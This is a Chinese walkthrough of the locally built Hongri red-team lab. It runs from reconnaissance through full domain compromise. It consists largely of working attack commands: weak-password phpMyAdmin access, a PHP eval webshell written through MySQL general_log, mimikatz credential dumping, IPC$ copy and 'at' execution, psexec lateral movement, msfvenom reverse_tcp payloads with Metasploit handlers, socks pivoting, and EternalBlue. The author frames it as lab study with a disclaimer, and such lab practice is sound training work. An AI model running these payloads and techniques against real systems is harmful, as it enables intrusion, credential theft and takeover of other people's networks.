红日靶场复现1🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉
一、主机发现🎈🎈🎈🎈🎉🎉🎉🎉🎉
直接本地搭建
基本信息如下:
1.win7的密码:hongrisec@2019 ip地址:
192.168.52.143
192.168.6.142
2.window server2008的密码:Admin@123456 IP地址:
192.168.52.138
3.win2k3的密码:hongrisec@2019 修改密码为:Admin@123456 IP地址:
192.168.52.141

二、端口扫描🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉
使用nmap
对端口进行扫描
sudo nmap -sC -sV -p 80,135,139,445,1025,1026,1027,1028,1029,3306 -Pn 172.25.0.15

1.既然是渗透,web肯定是首选,因为开放了80端口,直接访问🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

2.直接看也不能看出什么,直接扫一下目录吧🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉
sudo dirb http://172.25.0.15/

发现了/phpmyadmin/index.php
目录,直接root,root
弱口令直接进来了
3.登进数据库的后台,看能否获取权限select @@basedir
查看MySQL
的安装路径🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

4.通过语句查询可以找出MySQL
的安装路径C:/phpStudy/MySQL/
🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉
show global variables like '%secure_file_priv%';
NULL
不允许导入或导出
/tmp
只允许在 /tmp
目录导入导出
空
不限制目录

5、通过 MySQL 日志导入木马。查看日志状态,执行命令:🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉
show variables like '%general%';

当开启general_log时,所执行的SQL语句都会出现在stu1.log文件。那么如果修改general_log_file语句就会对应生成对应的文件中,进而可getshell。执行命令为:
set global general_log='on';

再次查看,我们所执行的命令,成功否
show variables like '%general%';

可以看到日志文件成功被打开。
6.指定日志写入到网站根目录的 777.php
文件,执行命令:🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉
SET GLOBAL general_log_file='C:/phpStudy/www/777.php';

7.将木马写入文件777.php🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉
SELECT '<?php eval($_POST["cmd"]);?>';

8.测试一下,我们的马儿写进去没有。🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

9.测试成功,我们直接上蚁剑,getshell🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

10.拿到shell
之后,进行后渗透阶段🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉
net user //列出用户
whoami //目前的权限
11.查看网络拓扑图🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉
使用命令ipconfig
12.cs成功上线🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

域内信息收集
1.机器上线后,修改sleep值,同时查看其权限:
sleep 5
getuid

2.这里发现权限是GOD/Administrator
,这里就有一个很关键的地方,根据之前webshell
中查看的ip
信息,发现是存在双网卡的,这里可以判断是存在域的,所以这里先来抓取密码。
3.然后继续使用minikatz
来抓取一下密文密码:
知道了用户名:Administrator
密码:hongrisec@2019
点击视图下的密码凭证可以直观的查看抓取的结果
view--->credentials

4.可见已成功使用minikatz
抓取了明文密码,但是根据之前的信息,这里既然存在域,所以要进行后续的域内攻击,首先进行域内信息收集:
命令:shell net config Workstation
命令:shell net localgroup administrators
//本机管理员(通常含有域用户)

5.命令:shell net view
//查看局域网内其他主机名

6.根据信息收集,发现存在域和域内其他主机liukaifeng01,并且通过net view发现其他计算机名:OWA、ROOT-TVI862UBEH所以这里继续进行信息收集,先进行一个端口扫描
在返回的主机中
右键
---->explore
------>Port Scan
cs
真的是个好东西,选择好之后直接跳出来,点点选选即可。

扫描完成 ,发现了主机:192.168.52.138
、192.168.52.141
、192.168.52.143
,因为143
这台是本机,所以138
,141
这两台是域内的靶机

查看一下视图中的目标
三、内网横向渗透🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉
1.由于之前使用mimikataz来抓取了web服务器(win7)的密码,所以这里继续设定监听器,使用抓取的密码进行尝试,使用域账号登录其余主机,先创建隧道:🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

2.可能是我本地的在这个CSlow,直接使用命令进行新建会话🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉
spawn win7
这里的win7要换成你所新建的监听器的名字。

3.横向移动,接下来针对192.168.52.138和192.168.52.141进行横向移动,在目标中选取jump--->psexec🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉


上面的方法没有利用成功
4.因为192.168.52.138
不出网,因此需要建立中转🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

5.返回的靶机中右键--->pivoting---->Listener🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

6.名字任取,端口尽量不要冲突,然后保存即可。🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

7.通过上述的监听器新建一个木马2ndex.exe
🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉
利用IPC%$&&at,schtasks计划任务
利用条件
1)没有禁用IPC$
连接、139
和445
端口,未使用防火墙等方式来阻止IPC$
。
2)目标机器开启了相关的IPC$
服务
3)需要目标机器的管理员账号和密码(IPC$
空连接除外)
4)需要得知目标机器IP地址并可相互通信。
shell net use \\192.168.200.66 /user:administrator "Hacker@1."beacon> shell net view \\192.168.200.66
shell net use \\192.168.200.66 /user:administrator "Hacker@1."beacon> shell net view \\192.168.200.66
使用命令 shell net use \\192.168.52.138 /user:administrator "Admin@123456"

查看其是否能共享
shell net view \\192168.52.138

查看目录shell dir \\192.168.52.138\c$
将前面生成的中转马上传到win7
,利用cs
本地的upload
命令,使用命令shell dir
查看其是否上传成功。

此时,我们可以利用IPC$
将win7
上的中转马上传至192.168.52.138
,因为win7与内网win2008建立了共享连接。
命令如下所示
shell copy 2ndex.exe \\192.168.52.138\c$
shell dir \\192.168.52.138\c$

可以看出上传成功。
接下来就是通过远程执行木马即可使win2008
上线可选用at
,或者schtasks
,win2008
支持at,不支持schtasks
。
先使用net time
命令确定目标主机DC
的当前时间:
shell net time \\192.168.52.138

还是报错了

报错解决
需要在win7
C:\Windows\System32\drivers\etc\hosts
中添加
192.168.52.138 Remotehost
可通过cs
中命令行利用echo
写入,也可以在蚁剑中直接进入文件修改
shell echo 192.168.52.138 Remotehost >> c:\Windows\System32\drivers\etc\hosts

现在再执行即可
shell at \\192.168.52.138 11:35 C:/2ndex.exe

生成msf
马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.6.133 LPORT=1111 -f exe -o shell.exe
服务端监听
use explpit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.154.178
set lport 1111
exploit

查看域内信息
shell net config Workstation

使用CS
的mimikatz
功能抓取目标机用户密码:
通过CS
的elevate
进行账户提权:
MSF下会话传给CS
8.msf信息收集🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉
1.msf arp 发现主机 开机状态下才可探测出
run arp_scanner -r 192.168.52.0/24
2.run post/multi/recon/local_exploit_suggester
查看msf的提权
3.开启3389
端口
run post/windows/manage/enable_rdp

9.跨网段横向渗透🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉
1.新建一个新的监听器
Cobalt Strike
--->Listeners

2.点击add
,输入名字-->选择SMB-->保存即可

3.在目标靶机中右键--->spawn
4.选择新建的smb
会话
5.使用派生的SMB
作为跳板机,运行psexec
进行横向移动
点击view
-->targets
(在此之前,需要使用hashdump
和minikataz
获取用户名和密码)--->目标靶机右键
-->jump
-->psexec

弹出的对话框中选择,用户名和密码,当然最重要的一点就是监听器的选择,选择smb
这一监听器作为跳板,会话选择新建隧道的那一个。

这里有个技巧,直接看pid
的值即可,否则很像,很容易出错

这个对话框的钩打了即可,不大也没关系,还在研究

成功拿下域控靶机192.168.52.138


内网横向成功,接下来还有一台。

因为方法和前面那一台目标靶机相似,故这里就不再赘述

成功拿下目标靶机192.168.52.141

10.msf socks4a proxychains 穿透内网🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉
1.run autoroute -s 192.168.52.0/24
#添加路由
2.run autoroute -p
#查看是否添加成功
3.background
#返回
4.route print
#输出路由
5.use auxiliary/server/socks4a
#使用socks4a模块
6.set srvport 1080
#设置端口1080
7.run
#运行
远程连接
rdesktop
获取域内用户的详细信息
shell wmic useraccount get /all

查看是否存在杀毒进程:tasklist
四、另外的一种方法🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉
1.内网信息收集🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉
whoami
查看当前用户为system
权限
ipconfig
发现还存在一个网段
net config workstation
查看当前计算机名称,用户名等详细信息

shell net localgroup administrators
查看其他管理员
systeminfo
查看系统信息,发现打了4
个补丁,当前域为god.org
,与服务器名OWA

2.msf反弹shell🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉😍😍
1.生成木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.6.133 LPORT=6666 -f exe >/home/kali/Desktop/muma/6666.exe

2.使用蚁剑上传msf
生成的木马🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉😍😍

3.kali
的服务端监听端口🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉😍😍
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.6.133
set lport 6666
run

4.客户端这边使用蚁剑运行6666.exe
木马🍔🍔🍔🍔🍔🍔🍔🍔

5.查看服务端这边,返回shell
😍😍😍😍😍😍🍔🍔🍔🍔🍔🍔🌭🌭🌭🌭🥨🥨🥨🥨🥨🥨🥨

3.进入内网,信息收集❤️❤️❤️❤️❤️❤️❤️🎈🎈🎈🎈🎈🎈🎈🎊🎊🎊🎊🎊🎊🎊
1.查看安装的软件
run post/windows/gather/enum_applications

2.查看路由,发现还存在另一个网段192.168.52.0/24
💕💕💕💕💕💕💕💕💕💕💕💕💕
arp -a

3.添加路由😘😘😘😘😘😘😘😘😘😘😘😘😘
run autoroute -s 192.168.52.0/24
#添加路由
run autoroute -p
#查看路由

4.设置代理访问内网
background
use auxiliary/server/socks_proxy
show options
set srvhost 192.168.6.133
#可以使用本地IP
set srvport 1080
set version 4a
run

修改代理配置文件
vim /etc/proxychains4.conf
末尾加上如下图所示语句。
socks4 127.0.0.1 1080

检测代理是否成功
sudo proxychains curl http://192.168.52.138
发现代理成功
5.探测内网存活主机
use post/windows/gather/arp_scanner
show options
sessions
set session 8
set rhost 192.168.52.0/24
set threads 100
exploit

发现内网存活的主机192.168.52.138
,192.168.52.141
,因为内网里的两台目标靶机是不出网的,因此需要将nmap
放到win7
这台目标靶机上。需要注意的一点是,使用蚁剑看不到返回的结果,可以使用msf
中的会话进入shell
即可查看。
shell
chcp 65001
cd C:\Program Files (x86)\Nmap

因为目标靶机中存在nmap,因此可以直接利用其对内网中的靶机进行渗透,发现目标靶机192.168.52.138
,192.168.52.141
4.内网打点😍😍😍😍😍😍😍😍
因为两台主机都存在445
和135
端口,说明存在smb
服务
尝试永恒之蓝漏洞
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.52.138

发现没通,测试一手,是否存在ms17-010
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.52.138
run

2.使用ms17-010_command
进行渗透use auxiliary/admin/smb/ms17_010_command
,这里就不在赘述😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊😊。
PS:本片文章仅供学习研究网络安全使用,禁止对未授权的对象,系统,单位进行非法操作,该文章搭建在自己的本地,使用本篇文章中的方法从事非法活动的,与作者无关。今日1024祝大家程序人节日快乐,在新的一年里技术更上一层楼🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉